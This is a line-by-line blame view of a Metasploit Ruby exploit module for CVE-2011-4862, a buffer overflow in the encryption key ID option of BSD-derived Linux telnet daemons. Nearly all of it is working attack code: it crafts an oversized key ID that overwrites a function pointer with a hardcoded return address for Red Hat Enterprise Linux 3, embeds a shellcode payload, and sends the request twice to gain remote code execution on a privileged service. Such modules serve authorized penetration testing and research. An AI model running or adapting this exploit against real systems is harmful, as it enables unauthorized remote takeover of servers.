2011-12-28 06:00:10 +00:00
|
|
|
##
|
|
|
|
# $Id: $
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-12-28 06:00:10 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
2012-02-11 01:44:03 +00:00
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
include Msf::Exploit::Remote::Telnet
|
|
|
|
include Msf::Exploit::BruteTargets
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2012-01-05 01:46:56 +00:00
|
|
|
'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
|
2012-02-11 01:44:03 +00:00
|
|
|
'Description' => %q{
|
2011-12-28 06:00:10 +00:00
|
|
|
This module exploits a buffer overflow in the encryption option handler of the
|
|
|
|
Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
|
|
|
|
use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
|
|
|
|
Linux systems running telnetd.
|
|
|
|
},
|
2011-12-29 16:53:39 +00:00
|
|
|
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
|
2011-12-28 06:00:10 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2011-4862'],
|
2011-12-29 13:54:01 +00:00
|
|
|
['OSVDB', '78020'],
|
|
|
|
['BID', '51182'],
|
2012-03-20 14:01:59 +00:00
|
|
|
['EDB', 18280]
|
2011-12-28 06:00:10 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 200,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'DisableNops' => true,
|
|
|
|
},
|
2012-02-11 01:44:03 +00:00
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
2011-12-29 16:53:39 +00:00
|
|
|
[ 'Automatic', { } ],
|
|
|
|
[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
|
2011-12-28 06:00:10 +00:00
|
|
|
],
|
2012-01-05 01:46:56 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Dec 23 2011'))
|
2011-12-28 06:00:10 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit_target(t)
|
2011-12-29 16:53:39 +00:00
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
connect
|
|
|
|
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
2012-01-30 19:08:35 +00:00
|
|
|
vprint_status(banner_sanitized)
|
2011-12-28 06:00:10 +00:00
|
|
|
|
|
|
|
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
|
|
|
|
enc_keyid = "\xff\xfa\x26\x07"
|
|
|
|
end_suboption = "\xff\xf0"
|
|
|
|
|
|
|
|
penc = payload.encoded.gsub("\xff", "\xff\xff")
|
2012-02-11 01:44:03 +00:00
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
key_id = Rex::Text.rand_text_alphanumeric(400)
|
|
|
|
|
|
|
|
key_id[ 0, 2] = "\xeb\x76"
|
|
|
|
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
|
2011-12-29 16:53:39 +00:00
|
|
|
key_id[76, 4] = [ t['Ret'] ].pack("V")
|
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
# Some of these bytes can get mangled, jump over them
|
|
|
|
key_id[80,40] = "\x41" * 40
|
2011-12-29 16:53:39 +00:00
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
# Insert the real payload
|
|
|
|
key_id[120, penc.length] = penc
|
2011-12-29 16:53:39 +00:00
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
# Create the Key ID command
|
|
|
|
sploit = enc_keyid + key_id + end_suboption
|
|
|
|
|
|
|
|
# Initiate encryption
|
|
|
|
sock.put(enc_init)
|
2011-12-29 16:53:39 +00:00
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
# Wait for a successful response
|
|
|
|
loop do
|
|
|
|
data = sock.get_once(-1, 5) rescue nil
|
|
|
|
if not data
|
2012-06-19 17:59:15 +00:00
|
|
|
fail_with(Exploit::Failure::Unknown, "This system does not support encryption")
|
2011-12-28 06:00:10 +00:00
|
|
|
end
|
|
|
|
break if data.index("\xff\xfa\x26\x02\x01")
|
|
|
|
end
|
|
|
|
|
|
|
|
# The first request smashes the pointer
|
|
|
|
print_status("Sending first payload")
|
2012-02-11 01:44:03 +00:00
|
|
|
sock.put(sploit)
|
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
# Make sure the server replied to the first request
|
|
|
|
data = sock.get_once(-1, 5)
|
|
|
|
unless data
|
|
|
|
print_status("Server did not respond to first payload")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Some delay between each request seems necessary in some cases
|
|
|
|
::IO.select(nil, nil, nil, 0.5)
|
2011-12-29 16:53:39 +00:00
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
# The second request results in the pointer being called
|
|
|
|
print_status("Sending second payload...")
|
|
|
|
sock.put(sploit)
|
|
|
|
handler
|
2011-12-29 16:53:39 +00:00
|
|
|
|
2011-12-28 06:00:10 +00:00
|
|
|
::IO.select(nil, nil, nil, 0.5)
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|